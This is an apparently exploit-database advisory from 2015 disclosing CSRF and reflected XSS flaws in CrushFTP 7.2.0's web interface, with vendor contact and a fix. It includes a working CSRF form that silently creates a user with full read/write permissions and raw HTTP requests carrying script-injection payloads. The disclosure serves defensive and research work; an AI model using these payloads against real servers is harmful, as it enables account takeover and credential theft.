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"CrushFTP 7.2.0 - Multiple Vulnerabilities"

Author

Exploit author

"Rehan Ahmed"

Platform

Exploit platform

multiple

Release date

Exploit published date

2015-02-19

Download file

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========================================================
 I. Overview
 ========================================================
 Multiple CSRF & Cross-Site Scripting (XSS) vulnerabilities have been identified in
 Crushftp 7.2.0 (Web Interface) on default configuration. These vulnerabilities allows
 an attacker to gain control over valid user accounts, perform operations
 on their behalf, redirect them to malicious sites, steal their credentials,
 and more.
 ========================================================
 II. Severity
 ========================================================
 Rating: Medium
 Remote: Yes
 Authentication Require: Yes
 ========================================================
 III. Vendor's Description of Application
 ========================================================
 CrushFTP is a robust file transfer server that makes it easy to setup secure connections with your users.
'Crush' comes from the built-in zip methods in CrushFTP. They allow for downloading files in compressed formats in-stream, 
or even automatically expanding zip files as they are received in-stream. This is called ZipStreaming and can greatly accelerate 
the transfer of many types of files.
Secure management is web based allowing you the ability to manage and monitor the server from anywhere, or with almost any device. 
Easy in place server upgrades without complicated installers. Runs as a daemon, or Windows service with no need for a local GUI.
CrushFTP is watching out for you by detecting common hack attempts and robots which scan for weak passwords. It will automatically 
protect you against DDoS attacks. No need for you to do anything as CrushFTP will automatically ban these IPs to prevent wasted logging and CPU usage. 
This keeps your server secure from unwanted abuse.
User management includes inheritance, groups, and virtual file systems. If you want simple user management, 
it can be as easy as just making a folder with a specific name and nothing else. 
Think about how easily you can delegate user administration with CrushFTP's role based administration and event configuration. 
http://www.crushftp.com/index.html

 ========================================================
 IV. Vulnerability Details & Exploit
 ========================================================

 1) Multiple CSRF Vulnerabilities (Web Management interface - Default Config) 

 a) An attacker may add/delete/modify user's accounts 
 b) May change all configuration settings 

Request Method: POST
Location: /WebInterface/fuction/

Proof of Concept:- 

<html>

 <body>
 <form action="http://127.0.0.1:8080/WebInterface/function/" method="POST">
 <input type="hidden" name="command" value="setUserItem" />
 <input type="hidden" name="data&&95;action" value="new" />
 <input type="hidden" name="serverGroup" value="MainUsers" />
 <input type="hidden" name="username" value="Hacker" />
 <input type="hidden" name="user" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><user&&32;type&&61;"properties"><username>Hacker<&&47;username><password>123456<&&47;password><max&&95;logins>0<&&47;max&&95;logins><root&&95;dir>&&47;<&&47;root&&95;dir><&&47;user>" />
 <input type="hidden" name="xmlItem" value="user" />
 <input type="hidden" name="vfs&&95;items" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><vfs&&32;type&&61;"properties"><&&47;vfs>" />
 <input type="hidden" name="permissions" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><permissions&&32;type&&61;"properties"><item&&32;name&&61;"&&47;">&&40;read&&41;&&40;write&&41;&&40;view&&41;&&40;resume&&41;<&&47;item><&&47;permissions>" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

2) Multiple Cross-Site Scripting (Web Interface - Default Config)

Type: Reflected
Request Method: POST 
Location: /WebInterface/function/ 
Parameter: vfs_items
Values: <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> 
 vfs_items = <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> 


Proof of Concept:

POST /WebInterface/function/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/WebInterface/UserManager/index.html
Content-Length: 656
Cookie: XXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

command=setUserItem&data_action=new&serverGroup=MainUsers&username=test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Etest2%3C%2Fusername%3E%3Cpassword%3Etest2%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0<a%20xmlns:a%3d'http://www.w3.org/1999/xhtml'><a:body%20onload%3d'alert(1)'/></a>%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22properties%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E


Type: Reflected
Request Method: GET 
Location: /WebInterface/function/ 
Parameter: path
Values: <script>alert(1)<%2fscript>
 path=%<script>alert(1)<%2fscript>


GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%<script>alert(1)<%2fscript>&random=0.3300707341372783 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/
Cookie: XXXXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 ========================================================
 VI. Affected Systems
 ========================================================
Software: Crushftp (Web Interface)
Version: 7.2.0 Build : 147 < 7.3
Configuration: Default
 ========================================================
 VII. Vendor Response/Solution
 ========================================================

 Vendor Contacted : 02/12/2015
 Vendor Response : 02/12/2015
 Solution : upgrade to 7.3 or change <csrf>true</csrf> in prefs.xml 

 ========================================================
 VIII. Credits
 ========================================================
 Discovered by Rehan Ahmed
 knight_rehan@hotmail.com
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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